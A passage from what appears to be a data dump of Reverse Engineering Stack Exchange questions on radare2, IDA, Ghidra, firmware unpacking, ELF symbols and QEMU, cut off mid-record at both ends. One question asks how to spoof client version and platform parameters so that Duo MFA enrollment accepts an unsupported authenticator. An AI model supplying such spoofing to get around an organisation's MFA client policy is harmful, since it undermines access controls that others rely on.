+ +What can I look for to confirm if an app uses DOS/4GW? +" +"['disassembly', 'radare2']"," Title: Renaming variables radare2Body: I have a variable called var_14h in disassemble code. I want to rename this variable. I try to rename the variable by using the following + +
afvn var_14h i
+
+ +However, radare complains and returns an error: + +
Cant find var by name
+
+ +When i just execute afv the variable is listed: + +
var int64_t var_14h @ rbp-0x14
+
+ +I've tried to refer using rbp-0x14, [var_14h], however, nothing seems to work. What am i missing? +" +"['binary-analysis', 'binary', 'ghidra', 'arm64']"," Title: empty .data section in AARCH64 elf binariesBody: My question is: Why does readelf -x .data bin.so give me empty data when ghidra does not? (0x00 repeated for section length until last element 0xFFFFFFFF). + +ghidra/JEB contradict me by showing that it has populated data (only first 8 bytes are null). I have tried python tools lief, elfcat, among others. + +Obtaining repro file: + +
    +
  1. wget https://repo1.maven.org/maven2/com/facebook/fresco/imagepipeline/2.0.0/imagepipeline-2.0.0.aar
  2. +
  3. unzip imagepipeline-2.0.0.aar ""jni/arm64-v8a/libimagepipeline.so
  4. +
  5. readelf -x .data jni/arm64-v8a/libimagepipeline.so
  6. +
  7. Load the elf into ghidra and confirm that the .data section (can be found by double clicking on .data in ""Program Tree"" on left(default) hand side) is populated with excellent data.
  8. +
+" +"['ida', 'static-analysis', 'ida-plugin']"," Title: IDA Pro SP trackingBody: I am reversing a BIOS and its code extensively uses SP register for 16-bit return addresses (and also things like ""bswap ESP"" to obtain a ""two-level-deep"" stack, and rarely ""mov mm7, esp"" to obtain a ""4-level-deep"" stack etc). + +It seems IDA does not track SP-related statements, even simple sequence of ""mov SP, F123h"" (inside the ""caller"" subroutine) followed by ""jmp sp"" (inside the ""callee"" subroutine) is not recognized. Therefore IDA can't show me a proper proximity view and I have to track the SP value and the whole control flow by hand. + +Is there a way to automate this process? + +I've read that I can add XREFs manually using ALT+F11. When I press ALT+F11 the callee dialog appears, but after I enter the address and click OK nothing happens. At least nothing visible. + +Why? Is it supposed to work only for ""call"" instructions, but not for ""jmp""s? If not, where does the cursor have to be placed before pressing ALT+F11? + +P.S. I'm using IDA Pro 6.8. +" +"['ios', 'arm64']"," Title: Theos Tweak compilation errorsBody: While attempting to build a Theos tweak, even a templated one created by Theos, I will encounter the following error + +
bash: line 1:  4665 Done                    swift --version
+      4667 Broken pipe: 13         | head -1
+      4669 Killed: 9               | cut -d'v' -f2
+      4670 Killed: 9               | cut -d' ' -f2
+      4672 Killed: 9               | cut -d'-' -f1
+
+....
+
+bash: -c: line 3: syntax error: unexpected end of file
+make: *** [/var/root/theos/makefiles/package.mk:80: internal-install-check] Error 1
+
+ +I did some searching online but could not find a solution. If anyone knows about this, appreciate if you can provide some suggestions. +" +"['disassembly', 'x86', 'gdb']"," Title: Disassembly - First stepsBody: I decided that I need to understand this more thoroughly, so am working in parallel with two resources: one more modern and one original from @Aleph1. +In the essay, there is a basic code snippet, called example1.c, thus: +
void function(int a, int b, int c) { 
+    char buffer1[5];
+    char buffer2[10];
+}
+void main() { 
+    function(1,2,3);
+}
+
+In the illustrated disassembly of that, once complied obvs, thus: +
pushl %ebp
+movl %esp,%ebp
+subl $20,%esp
+
+where $20 is the size due to word size, as the 5 char buffer takes 8 bytes (2 words) and the 10 char buffer takes 12 bytes (3 words). So far so simple. This makes perfect sense to me. +While playing along on Ubuntu 12.04 - 32bit version [chosen due to the other parallel disassembly blog post] - the same disassembly comes out as: +
push   %ebp
+mov    %esp,%ebp
+sub    $0xc,%esp
+
+where $0xc is 12 in decimal. What is the reason for this discrepancy, assuming that I've copied the code properly. It's not really holding up my progress, but I feel that I should be able to understand why my code is subtracting by 12 bytes, and the example by 20. My best guess is that it's down to the architecture of the OS that I'm using in some way, but would like someone with more experience to validate this or tell me why. +Update +I was comparing apples with oranges, which I've just realised. The code from Aleph1's essay where it talks about the subl $20 came from the -S (assembly) output from gcc, and is discussing the prolog whereas the code I took the sub 0xc came from within gdb and running disassemble main. +I have run gcc -S to produce example1.s - but that produces a different result again, although I suspect it's down to Johan's comment about gcc options, which happen to be gcc -g -fno-stack-protector -z execstack -S -o example1.s example1.c. Looking in the prolog, the result that I get here is subl %16 (which in dec is 22). +It has simply raised more questions! :D +Update 2 +Dump of assembler code within gdb is: +
 0x080483bc <+0>:   push   %ebp
+ 0x080483bd <+1>:   mov    %esp,%ebp
+ 0x080483bf <+3>:   sub    $0xc,%esp
+
+Is that why we see $0xc (12 in decimal) because it's showing as <+3> (i.e. +3 words, 12 bytes)? +" +['sniffing']," Title: Sniffing vacuum cleanerBody: First of all I'm a noob. I have a basic cheap chinese vacuum cleaner robot. I want to be able to use it from anything but the official app, but I am not intelligent enough to make a custorm firmware or anything like that to avoid the servers. So I thought ""it will be easy, just sniff the traffic from the APP and then replicate it from a python script or whatever"". I did that with mitmproxy. I am able to see the login process(url and parameters), and some other actions of the APP. However when I click on ""start cleaning"", the robot starts moving but the APP doesn't seem to send anything according to mitmproxy. + +Any advice about what to look for or how does it work? + +Thank you in advice. +" +"['ida', 'static-analysis', 'functions', 'api']"," Title: How to extract static API sequences of a PE file?Body: How does one extract the static API sequences of a PE file? I don't mean the imports listed in the imports segment. + +I am currently using different RE tools like Ghidra, IDA Pro, and Binary Ninja. None of which I know has a built-in feature which allows me to extract the static API sequences. + +[EDIT] I am looking for API call sequences without executing the binary. For example, maybe if the binary code contains file operations like fopen() → fwrite() → fclose() → fopen() → fwrite() → fclose(). I want to be able to extract this sequence of APIs. +" +"['disassembly', 'binary-editing']"," Title: Can you add data to a binary, without affecting its jump labels?Body: I'm a total beginner, so I don't know the vocabulary yet to search effectively. What I want to do is add some data (let's say level data), to an old game ROM, but that would probably shift all the jump labels by the amount of bytes I added. + +I thought about disassembling the ROM, finding its starting point and parsing my way through the jump instructions to find all (absolute) labels and tweak them after I know where and how much data I added. + +Is that feasible/practical and are there tools for such an operation already? +" +"['ida', 'debugging', 'ollydbg']"," Title: How to see the full info of a handle in IDA debugger, just like other debuggers like xdbg?Body: So in xdb, whenever i see a handle value like 0xA0, i can easily go to handle tabs and see what type of handle it is and for example if its a file handle, what file. + +how can i do this in IDA debugger? tried googling but couldn't find any good answer. +" +"['binary-analysis', 'encryption', 'binary-diagnosis']"," Title: reversing xiaomi update firmware encrypted?Body: I am playing around with a xiaomi firmware [mijia_4k_0.6.16.02] for a camera + +Running binwalk on the file I see this output + + + +
DECIMAL       HEXADECIMAL     DESCRIPTION
+--------------------------------------------------------------------------------
+1246033       0x130351        Certificate in DER format (x509 v3), header length: 4, sequence length: 518
+3624121       0x374CB9        Certificate in DER format (x509 v3), header length: 4, sequence length: 3
+4165132       0x3F8E0C        Unix path: /usr/local/share/script/bcm_disconn_device.sh
+4180704       0x3FCAE0        Unix path: /usr/local/share/script/bt_start.sh
+4218888       0x406008        Unix path: /usr/local/share/script/wifi_start.sh
+4233160       0x4097C8        Unix path: /usr/local/share/script/bcm_start.sh HID&
+4240412       0x40B41C        Unix path: /usr/bin/AmbaRTSPServer --en_audio --en_rtcp
+4435576       0x43AE78        Unix path: /usr/local/share/script/wifi_set_setting.sh
+4450536       0x43E8E8        Unix path: /usr/bin/fimi_moniter
+4452856       0x43F1F8        Unix path: /usr/local/share/script/wifi_start.sh fast
+4529204       0x451C34        CRC32 polynomial table, little endian
+4531740       0x45261C        CRC32 polynomial table, little endian
+4532888       0x452A98        Copyright string: ""Copyright 2004-2014 Ambarella Corp.""
+4992168       0x4C2CA8        Unix path: /usr/local/share/script/sd_script.sh mount /tmp/SD0 c: ambafs
+4993520       0x4C31F0        Unix path: /usr/local/share/script/sync_rtc.sh
+5004056       0x4C5B18        Digi International firmware, load address: 0x504D5549, entry point: 0x4C324343,
+5120308       0x4E2134        Unix path: /usr/bin/remoteapi_syssvc_daemon
+6196757       0x5E8E15        MySQL MISAM compressed data file Version 3
+6296161       0x601261        MySQL MISAM compressed data file Version 2
+6296173       0x60126D        MySQL MISAM compressed data file Version 4
+7593257       0x73DD29        MySQL MISAM compressed data file Version 1
+8307929       0x7EC4D9        MySQL MISAM compressed data file Version 9
+9611653       0x92A985        Neighborly text, ""neighbor=%dration_threshold_0=%d _1=%d _2=%d _3=%d""
+21415612      0x146C6BC       JPEG image data, JFIF standard 1.01
+24183116      0x171014C       device tree image (dtb)
+28385400      0x1B12078       Linux kernel version 3.10.7
+28406940      0x1B1749C       gzip compressed data, maximum compression, from Unix, last modified: 1970-01-01 00:00:00 (null date)
+28491684      0x1B2BFA4       LZO compressed data
+28571234      0x1B3F662       Unix path: /var/run/rpcbind.sock
+29085488      0x1BBCF30       Unix path: /dev/vc/0
+29164016      0x1BD01F0       xz compressed data
+29194736      0x1BD79F0       Unix path: /lib/firmware/updates/3.10.71
+29315074      0x1BF5002       Neighborly text, ""neighbor %.2x%.2x.%pM losti/c1_work/svn_fimi/trunk/ambalink_sdk_3_10/linux/net/bridge/br_stp_timer.c""
+29727764      0x1C59C14       ASCII cpio archive (SVR4 with no CRC), file name: ""dev"", file name length: ""0x00000004"", file size: ""0x00000000""
+29727880      0x1C59C88       ASCII cpio archive (SVR4 with no CRC), file name: ""dev/console"", file name length: ""0x0000000C"", file size: ""0x00000000""
+29728004      0x1C59D04       ASCII cpio archive (SVR4 with no CRC), file name: ""root"", file name length: ""0x00000005"", file size: ""0x00000000""
+29728120      0x1C59D78       ASCII cpio archive (SVR4 with no CRC), file name: ""TRAILER!!!"", file name length: ""0x0000000B"", file size: ""0x00000000""
+29740988      0x1C5CFBC       CRC32 polynomial table, little endian
+29985772      0x1C98BEC       UBI erase count header, version: 1, EC: 0x0, VID header offset: 0x800, data offset: 0x1000
+
+
+ +binwalk -e doesn't work very well and i just get a makefile and some empty folders. + +I think the firmware might be encrypted; because of the two certificates in DER format at the top of the file but I am unsure about this. + +checking the entropy with binwalk and again; it doesn't seem to be encrypted + + + +
DECIMAL       HEXADECIMAL     ENTROPY
+--------------------------------------------------------------------------------
+0             0x0             Falling entropy edge (0.736286)
+4177920       0x3FC000        Falling entropy edge (0.633902)
+21635072      0x14A2000       Falling entropy edge (0.818787)
+23842816      0x16BD000       Falling entropy edge (0.823909)
+29011968      0x1BAB000       Falling entropy edge (0.652727)
+32653312      0x1F24000       Falling entropy edge (0.668729)
+33280000      0x1FBD000       Falling entropy edge (0.746394)
+33390592      0x1FD8000       Falling entropy edge (0.630683)
+35340288      0x21B4000       Falling entropy edge (0.815448)
+35487744      0x21D8000       Falling entropy edge (0.814134)
+35598336      0x21F3000       Falling entropy edge (0.818659)
+35725312      0x2212000       Falling entropy edge (0.811020)
+35872768      0x2236000       Falling entropy edge (0.807910)
+35946496      0x2248000       Falling entropy edge (0.774434)
+37621760      0x23E1000       Falling entropy edge (0.679220)
+42127360      0x282D000       Falling entropy edge (0.661422)
+42422272      0x2875000       Falling entropy edge (0.803659)
+42569728      0x2899000       Falling entropy edge (0.849527)
+42680320      0x28B4000       Falling entropy edge (0.807766)
+42827776      0x28D8000       Falling entropy edge (0.813596)
+42938368      0x28F3000       Falling entropy edge (0.786144)
+43139072      0x2924000       Falling entropy edge (0.723178)
+44371968      0x2A51000       Falling entropy edge (0.800123)
+44519424      0x2A75000       Falling entropy edge (0.810571)
+44740608      0x2AAB000       Falling entropy edge (0.670949)
+45936640      0x2BCF000       Falling entropy edge (0.669111)
+49762304      0x2F75000       Falling entropy edge (0.765717)
+57507840      0x36D8000       Falling entropy edge (0.748053)
+57581568      0x36EA000       Falling entropy edge (0.833038)
+57856000      0x372D000       Falling entropy edge (0.846944)
+58224640      0x3787000       Falling entropy edge (0.839880)
+58593280      0x37E1000       Rising entropy edge (0.950003)
+58630144      0x37EA000       Falling entropy edge (0.845293)
+59015168      0x3848000       Falling entropy edge (0.647316)
+59199488      0x3875000       Falling entropy edge (0.830295)
+59310080      0x3890000       Falling entropy edge (0.713949)
+59568128      0x38CF000       Falling entropy edge (0.673632)
+62160896      0x3B48000       Falling entropy edge (0.807818)
+62951424      0x3C09000       Rising entropy edge (0.961620)
+62988288      0x3C12000       Falling entropy edge (0.816265)
+66797568      0x3FB4000       Falling entropy edge (0.797360)
+66945024      0x3FD8000       Falling entropy edge (0.799068)
+67055616      0x3FF3000       Falling entropy edge (0.695640)
+69537792      0x4251000       Falling entropy edge (0.844167)
+69648384      0x426C000       Falling entropy edge (0.844830)
+69795840      0x4290000       Falling entropy edge (0.751251)
+72941568      0x4590000       Falling entropy edge (0.838126)
+
+ + +I tried using dd to pull out the jpeg data but it seems like that might be a false positive. + +Looking at some of the strings in the binary; there seems to be some 3rd party AI vision software; broadcom modem, zhouyanhui@compile:[gcc 4.9.3] etc... + +My question; what are some other steps that I could take to get further into this firmware? +" +['uefi']," Title: AGESA Extraction - AMI UEFIBody: Are there any community tools that are aimed specifically at extracting or replacing AGESA code in a UEFI? In AMI UEFIs, AGESA is said to be scattered among multiple modules. I have read that in AWARD BIOSes it's contained within a single module. Are there any modern AWARD AMD UEFIs? + +Thank you for any guidance. + +Edit: Removed the long intro, straight to business. +" +"['api', 'websites']"," Title: Duo MFA Enrollment API ParametersBody: Not sure if this is the right forum. I want to enroll my device for Duo MFA without using the Duo app. Duo uses simple HOTP codes, so I used this script to find the HOTP secret and enter it manually in my preferred authenticator app. + +The enrollment succeeds (I see my device in the list of enrolled devices), and the codes generated by the script don't give an ""invalid code"" error. Instead, they give a ""Duo Mobile None is not allowed"" error, asking me to upgrade to a newer version of the app. + +Obviously I need to pass some API params so Duo thinks I'm running a supported version. However, the Duo API documentation isn't clear on how version, platform, and OS version are reported during enrollment. (In fact, I don't even see documentation for that API - just authentication for an individual user and administration for all users in a company). + +The API I'm using is /push/v2/activation/{code}, where {code} is the activation code stored in the enrollment QR code. I've tried adding 'version' (3.33.0.3, 3.33.0, etc.), 'platform' (apple%20ios), and 'type' (tablet) parameters, with those values based on documentation for other APIs. Enrollment succeeds regardless, but I continue to see the ""Duo Mobile None is not allowed"" message. Looking at the Python client repo on Github didn't help me understand how to enroll devices. + +If possible I'd like to report the platform as Apple iOS, but another solution might be imitating a hardware token or the generic_smartphone type mentioned in the other API docs. + +Can someone with more experience than me suggest a way to discover the correct API parameter names and values, or some other way to proceed? Thanks in advance. +" +"['ida', 'pe', 'address']"," Title: In IDA, why are the addresses of instructions different from the corresponding locations in the original file? How do I find the file locations?Body: I noticed that if I found an instruction in IDA, the address shown to its left would be wildly different from where it appears in the actual file. I wanted to know why this was the case and how I can find the offset in the file that each instruction corresponds to. Thanks! +" +"['disassembly', 'x86', 'linux', 'arm']"," Title: How to see assembly of main function?Body: How can I dump the assembly of main function of binary(not striped) in ubuntu? + +I want to see the assembly command and the hex value of this command + +There are 1 binary for arm and 1 binary for x86 +" +"['linux', 'file-format']"," Title: Format of Alcatel_Lucent I-240W-A backup fileBody: I am trying to modify the backup file of this router in order to change some configurations. + +Here is the structure I have until now: + +16 bytes of the header, zlib compressed xml with the configuration and 32 more bytes of unknown data. + +This is the header: + + + +
- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
+0x00000000  0012 3123 0000 8e3a 7866 4ae5 0006 7255  ..1#...:xfJ...rU
+
+ +At offset 0x4 is the length of the zlib data and at offset 0x8 is the crc32 checksum of the same data. + +And these are the 32 bytes at the end of the file: + + + +
- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
+0x00008e39  77da 46e5 2d71 285e c377 6691 c1b5 c1ff  w.F.-q(^.wf.....
+0x00008e49  0f7d ba8c 4b83 ff1f 30ce 8c1b f381 8a0c  .}..K...0.......
+
+ +I tried to change the xml, update the length and the crc32, leaving the unknown bytes the same but the router did not reset its configuration. + +I can confirm it did not work because when I use the unmodified backup file it resets the password for the admin account. + +PS: I can't make the file public because it contains sensitive information +" +"['decompilation', 'obfuscation', 'deobfuscation', 'security']"," Title: How to reverse engineer an exe built using nexe?Body: I am working on an express application. I obfuscate the source code using javascript-obfuscator. +I am using nexe cli for generating a single exe from the obfuscated code. Can anyone tell me if there is any way to reverse engineer the exe genertaed by nexe? + +Thanks in advance!!! +" +['x64dbg']," Title: x64dbg ""Use Graph command or menu action to draw control flow graph here...""Body: When I press ""G"" in the CPU view of the debugger I often get the following screen: + + + +In what cases can this error message happen? Obviously I can't yet give an exact way to reproduce it, I'm curios what to look for next time when I encounter such an issue. Is it from my side because I did not enable or did not care about something? + +Do you also sometime encounter such a message? +" +"['ida', 'disassembly', 'firmware']"," Title: Help with IDA pro please -- functions made are not Xref'ing to the callerBody: I am reversing some Motorola 9s12 (68hc12) code and using IDA pro. +I am having the strangest issue. + +The code makes a call to a function: + +
ROM:B300                 call    $BFF7, #$FE
+
+ +when I go to the function and make it a function +with the P key (auto analysis does not pick this +up as a function) + +ROM:BFF7 sub_BFF7: +ROM:BFF7 ldab #$46 ; 'F' +ROM:BFF9 stab byte_3C +ROM:BFFB clrb +ROM:BFFC clra +ROM:BFFD rtc + +IDA fails to insert the function name +(in this case sub_BFF7) into the original call. + +What am I missing here? + +The original call still reads: + +
ROM:B300 sub_B300:
+ROM:B300                 call    $BFF7, #$FE
+
+ +Somehow the XREF'ing is not working. +" +"['windows', 'ransomware']"," Title: Why cant we find ransomware keys?Body: From my understanding most ransomware has a secret key used for encryption in a server which it contacts to send over the key and use it for encryption + +But I am wondering, couldn't someone easily either intercept the WinSock functions or just grab the key themselves and use it to decrypt the encrypted files? + +Even if it is encrypted, it couldn't be that hard to find the place where it gets decrypted by debugging the ransomware + +So why are people not doing this? Am I missing something? +" +['elf']," Title: ELF imported symbols colisionBody: From what I understand, the ELF format doesn't specify which symbols come from which file - Every ELF that uses import has a list of symbols to import and list of file names, and the loader is trying to locate those symbols in the file names. + +But what happens if there is a collision - the same symbol appears twice, in different files? Is it possible to somehow force by the ELF format the destination file to look for a specific symbol? +" +"['assembly', 'decompilation', 'malware', 'static-analysis', 'operating-systems']"," Title: Can relative offsets in instructions like call and jmp change after recompiling the same code, or running it in another computer?Body: So let's say we want to use some instructions as signature for a malware, and it includes some call instructions or jmp instructions. Now, as far as I have seen, they always contain relative offsets as address and don't contain absolute addresses of the destination. +Now, can the relative offset between functions or instructions change if the binary is compiled again with the same compiler? How about with another compiler? +Do you guys think using a call instruction as part of a signature is good? +" +"['debugging', 'decompilation', '.net']"," Title: How can I debug a non-main .NET assembly using dnSpy?Body: I am performing a security assessment on a .NET application. dnSpy is a great tool to do this. However, I've reached a module which is not in the ""main"" section of the program... It is loaded by the program (it's a DLL). I need to find out which code calls a class/method from the DLL and one way I thought of doing this is to debug the program. However, I would have to discover manually which functionality I need to perform in the program in order to get it to call this particular class. + +Is there a better way to do this? I also tried to search for the text call to the method in the source code but haven't found anything significant. Lastly, in OllyDbg, a user can manually load a DLL using its DLL loader. Is this possible to do in dnSpy or another .NET tool? +" +"['file-format', 'encryption', 'binary']"," Title: Encrypted image formatBody: I am trying to reverse a simple image format for bitmap data with an indexed colour palette. The structure of the file is generally clear and I am able to extract the size of the picture and the palette. The place of where the run-length encoded data is stored is also pretty clear. However, the software for editing these images encrypts the run-length encoded data in a simple way by XORing it. + +Through manipulation of the data and viewing it in the software, I am able to extract the pixel dependent key for the XOR function, i.e. if there are 9 pixels totally, there are 9 keys. The problem is, however, that everytime the file is saved in the software, the keys change. I have identified two bytes in the file that change together with the encrypted data everytime it is saved and I therefore expect that it must be some sort of seed for generating the keys. + +Nevertheless, after saving the same file many times, examining the seed and the xor keys, no clear pattern emerges. It is only obvious that the first pixel has always the same key, the second key can only change by 1 and the rest looks currently random to me. Shifting the seed and combining it with the first key or using modulo operations don't work. + +The software itself is packed/encrypted and I am unable to unpack it, i.e. I think I have to deduce the encryption solely based on the files I can generate. Is there some general advice on how to proceed in such a situation? +" +['ida']," Title: Does IDA Pro's Freeware version have a command line interface?Body: Does anybody know if IDA's FreeWare version 7.0 has the Command Line Interface option? + +I currently have IDA FreeWare 7.0 and I only see one .exe file which is ida64.exe. But according to HexRay's command line switches for IDA Pro, there is supposed to be an .exe for command line interface. I'm not sure if it's just because I am using the free version. +" +"['binary-analysis', 'c++', 'radare2', 'functions']"," Title: Extracting functions of .obj file (compiled by myself with Visual Studio 19) --> extracts wrong dataBody: How can I find only real functions not data garbage like section..debug_S_105 ? * + +I need to collect function data (assembler code) of Open Source C++ Files which I compile with Visual Studio 19 (sln file was provided). + +For example I generated cryptopp library --> opened provided cryptest.sln and built it (Win32, Release, /O2) which produces some files:
+- Object files: 3way.obj, adler32.obj, algebra.obj,
+- Lib file: cryptlib.lib
+- PDB file: cryptlib.pdb + +I need to know the function name and get the assembler code: + +
xxxx ✗ r2 authenc.obj
+[0x0000368d]> aaaa
+[Cannot analyze at 0x00010bdeg with sym. and entry0 (aa)
+Cannot analyze at 0x00010be2
+Cannot analyze at 0x00010c08
+Cannot analyze at 0x00010c08
+Cannot analyze at 0x00010c1a
+Cannot analyze at 0x00010c1a
+Cannot analyze at 0x00010d28
+Cannot analyze at 0x00010d28
+Cannot analyze at 0x0001114e
+Cannot analyze at 0x0001114e
+[...]
+Cannot analyze at 0x000111fd
+Cannot analyze at 0x000111fd
+Cannot analyze at 0x00011211
+Cannot analyze at 0x00011211
+Cannot analyze at 0x0001126f
+Cannot analyze at 0x0001126f
+Cannot analyze at 0x00011283
+Cannot analyze at 0x00011283
+[x] Analyze all flags starting with sym. and entry0 (aa)
+[x] Analyze function calls (aac)
+[x] Analyze len bytes of instructions for references (aar)
+[x] Check for objc references
+[x] Check for vtables
+[x] Type matching analysis for all functions (aaft)
+[x] Propagate noreturn information
+[x] Use -AA or aaaa to perform additional experimental analysis.
+[x] Finding function preludes
+[x] Enable constraint types analysis for variables
+[0x0000368d]> afl
+0x0000368d    5 63           sym.____HDU__char_traits_D_std__V__allocator_D_1__std__YA_AV__basic_string_DU__char_traits_D_std__V__allocator_D_2__0___QAV10_0_Z
+0x00000000   45 877  -> 848  sym._comp.id
+0x00001b44  286 1517 -> 1781 sym..drectve
+0x00003619   62 851  -> 946  sym..debug_T
+0x00003980   25 601  -> 640  section..debug_S_6
+0x00003c15   81 872  -> 951  section..debug_S_8
+0x000040e7    3 25           sym.__unwindfunclet_____HDU__char_traits_D_std__V__allocator_D_1__std__YA_AV__basic_string_DU__char_traits_D_std__V__allocator_D
+0x00004143    5 34           sym.____Allocate__07U_Default_allocate_traits_std___0A__std__YAPAXI_Z
+0x00004179   20 447  -> 510  section..debug_S_11
+0x000043a7   16 291  -> 307  sym.____Allocate_manually_vector_aligned_U_Default_allocate_traits_std___std__YAPAXI_Z
+0x000046a8    3 44           sym.____Deallocate__07_0A__std__YAXPAXI_Z
+0x000046e8   19 638  -> 633  section..debug_S_15
+0x000049a2   91 1191 -> 1310 section..debug_S_17
+0x000051f4    6 134          sym.____Reallocate_grow_by_V_lambda_67d87d4aa1269033985980465fd1d824_____V___basic_string_DU__char_traits_D_std__V__allocator_D_2
+0x000052b6   77 2130 -> 2150 section..debug_S_19
+0x00005b58   98 1887 -> 1975 section..debug_S_21
+0x0000644a    1 46           sym.__0__basic_string_DU__char_traits_D_std__V__allocator_D_2__std__QAE___QAV01__Z
+0x00006478   38 1037 -> 1080 section..debug_S_23
+0x00006899   14 258  -> 254  fcn.00006899
+0x00006a73    1 172          sym.__0BadState_AuthenticatedSymmetricCipher_CryptoPP__QAE_ABV__basic_string_DU__char_traits_D_std__V__allocator_D_2__std__PBD1_Z
+0x00006bbf  275 1521 -> 1789 section..debug_S_27
+0x000073a9    8 138  -> 140  fcn.000073a9
+0x0000743e    1 105          sym.__0BadState_AuthenticatedSymmetricCipher_CryptoPP__QAE_ABV__basic_string_DU__char_traits_D_std__V__allocator_D_2__std__PBD_Z
+0x0000750b  152 971  -> 1135 section..debug_S_30
+0x00007a6d    4 184          fcn.00007a6d
+0x00007b61   37 453  -> 508  section..debug_S_33
+0x00007ef3    3 142          sym.__unwindfunclet___0Exception_CryptoPP__QAE_ABV01__Z_0
+0x00007fb3   92 797  -> 928  section..debug_S_36
+0x00008409    3 106          sym.__unwindfunclet___0Exception_CryptoPP__QAE_W4ErrorType_01_ABV__basic_string_DU__char_traits_D_std__V__allocator_D_2__std___Z
+0x00008487   23 491  -> 519  section..debug_S_39
+0x00008686   19 559  -> 578  section..debug_S_41
+0x000088c9  136 2578 -> 2731 section..debug_S_43
+0x0000913c   12 415  -> 432  section..debug_S_53
+0x000092f9   64 1036 -> 1135 section..debug_S_55
+0x00009817    3 31           sym.___GBadState_AuthenticatedSymmetricCipher_CryptoPP__UAEPAXI_Z
+0x0000984a   42 417  -> 504  section..debug_S_57
+0x000099ff   26 377  -> 423  section..debug_S_59
+0x00009b8c   25 404  -> 418  section..debug_S_61
+0x00009d3e   20 355  -> 378  section..debug_S_63
+0x00009ec8   16 188          sym._AuthenticateData_AuthenticatedSymmetricCipherBase_CryptoPP__IAEXPBEI_Z
+0x00009fa2   64 2101 -> 2160 section..debug_S_65
+0x0000a881  204 1185 -> 1293 section..debug_S_67
+0x0000b213    8 287          sym.__unwindfunclet__ProcessData_AuthenticatedSymmetricCipherBase_CryptoPP__UAEXPAEPBEI_Z_3
+0x00000068   51 773  -> 769  fcn.00000068
+0x00000008   45 869  -> 840  fcn.00000008
+0x0000b38c   69 597  -> 711  section..debug_S_70
+0x0000b7e2    8 164  -> 166  sym.__unwindfunclet__Resynchronize_AuthenticatedSymmetricCipherBase_CryptoPP__UAEXPBEH_Z_0
+0x0000b890   76 1581 -> 1597 section..debug_S_73
+0x0000bfd5  596 2248 -> 2834 section..debug_S_75
+0x0000cdaf   20 396          sym.__unwindfunclet__TruncatedFinal_AuthenticatedSymmetricCipherBase_CryptoPP__UAEXPAEI_Z_7
+0x0000cf4c   13 177          sym._Update_AuthenticatedSymmetricCipherBase_CryptoPP__UAEXPBEI_Z
+0x0000d061   82 625  -> 706  section..debug_S_78
+0x0000d53f   42 867  -> 896  sym..text_x
+0x0000d8b6   52 818  -> 948  section..debug_S_83
+0x0000dbe8   54 928  -> 1018 section..debug_S_85
+0x0000df9c   55 1312 -> 1363 section..debug_S_87
+0x0000e4c6   26 685  -> 727  section..debug_S_89
+0x0000e787   11 165  -> 168  fcn.0000e787
+0x0000e8e9    1 11           sym.__Xran____String_val_U___Simple_types_D_std___std__SAXXZ
+0x0000e908   19 352  -> 382  section..debug_S_93
+0x0000ea72   28 525  -> 551  section..debug_S_95
+0x0000ed10    3 31           sym._append___basic_string_DU__char_traits_D_std__V__allocator_D_2__std__QAEAAV12_QBD_Z
+0x0000ed39   35 651  -> 697  section..debug_S_97
+0x0000efd8   66 968  -> 1055 section..debug_S_99
+0x0000f49e    3 30           sym._insert___basic_string_DU__char_traits_D_std__V__allocator_D_2__std__QAEAAV12_IABV12__Z
+0x0000f4c6   34 954  -> 976  section..debug_S_101
+0x0000f8b2   15 381  -> 395  section..debug_S_103
+0x00010050    8 66           sym._reserve___basic_string_DU__char_traits_D_std__V__allocator_D_2__std__QAEXI_Z
+0x000100a6   68 958  -> 1063 section..debug_S_105
+0x00010464   17 556  -> 578  section..debug_S_107
+0x0001069a    9 359  -> 360  section..debug_S_109
+0x00004100    6 101          sym.__ehhandler_____HDU__char_traits_D_std__V__allocator_D_1__std__YA_AV__basic_string_DU__char_traits_D_std__V__allocator_D_2__0
+0x00010808    1 57           sym.__ehfuncinfo___0Exception_CryptoPP__QAE_W4ErrorType_01_ABV__basic_string_DU__char_traits_D_std__V__allocator_D_2__std___Z
+0x00010848    1 57           sym.__ehfuncinfo___0Exception_CryptoPP__QAE_ABV01__Z
+0x00010888    1 57           sym.__ehfuncinfo_____HDU__char_traits_D_std__V__allocator_D_1__std__YA_AV__basic_string_DU__char_traits_D_std__V__allocator_D_2
+0x000108d0    1 67           fcn.000108d0
+0x00010932    1 87           sym.__ehfuncinfo___0BadState_AuthenticatedSymmetricCipher_CryptoPP__QAE_ABV__basic_string_DU__char_traits_D_std__V__allocator_D_2
+0x00010990    1 57           sym.__ehfuncinfo__Resynchronize_AuthenticatedSymmetricCipherBase_CryptoPP__UAEXPBEH_Z
+0x000109d0    1 57           sym.__ehfuncinfo__Update_AuthenticatedSymmetricCipherBase_CryptoPP__UAEXPBEI_Z
+0x00010a28    1 122          sym.__ehfuncinfo__ProcessData_AuthenticatedSymmetricCipherBase_CryptoPP__UAEXPAEPBEI_Z
+0x00010c40    1 12           sym.__CT___R0_AVexception_std___8__0exception_std__QAE_ABV01__Z12
+0x00010c70    5 149          sym.___C__02LMMGGCAJ__3_5
+0x00010d53    1 12           sym.__CT___R0_AVException_CryptoPP___8__0Exception_CryptoPP__QAE_ABV01__Z40
+0x00010d83   22 421  -> 456  section..xdata_x_131
+0x00010f4b    1 122          sym.___R4InvalidArgument_CryptoPP__6B
+0x00010fe8   24 285  -> 312  sym.___R4BadState_AuthenticatedSymmetricCipher_CryptoPP__6B
+0x0001111e    1 12           sym..xdata_x
+0x00011292   72 551  -> 631  section..debug_S_169
+0x00000e92    3 78           fcn.00000e92
+
+ +I m using Python for extraction but some of these functions are not real function for example: +section..debug_S_105 + +What do I have to do in detail to avoid the data garbage and just find real functions (like in source code)? Or did I compile the source code wrong? +" +"['disassembly', 'assembly', 'ghidra']"," Title: Understanding ghidra disassemblyBody: I'm kind of new to assembly and ghidra as a tool. I have a question about the meaning of this line + +
Mov dword PTR [ESP] => local_70 , eax
+
+ +I get we are moving eax into the left side but I'm not sure what the [ESP]=>local_70 chunk is as I haven't come across that before. I think the => confuses me the most. + +Any help is much appreciated! +" +"['qemu', 'emulation']"," Title: QEMU Translation blockBody: I'm studying how QEMU translates native basic blocks and runs them. As far as I understand, it reads native basic blocks then retranslates them, but I wonder how it can deal with exceptions inside, so I run the following program: + + + +
// pgfault.c
+int main() {
+    __asm__(
+        ""xor rax, rax\n\t""
+        ""mov rbx, [rax]\n\t""
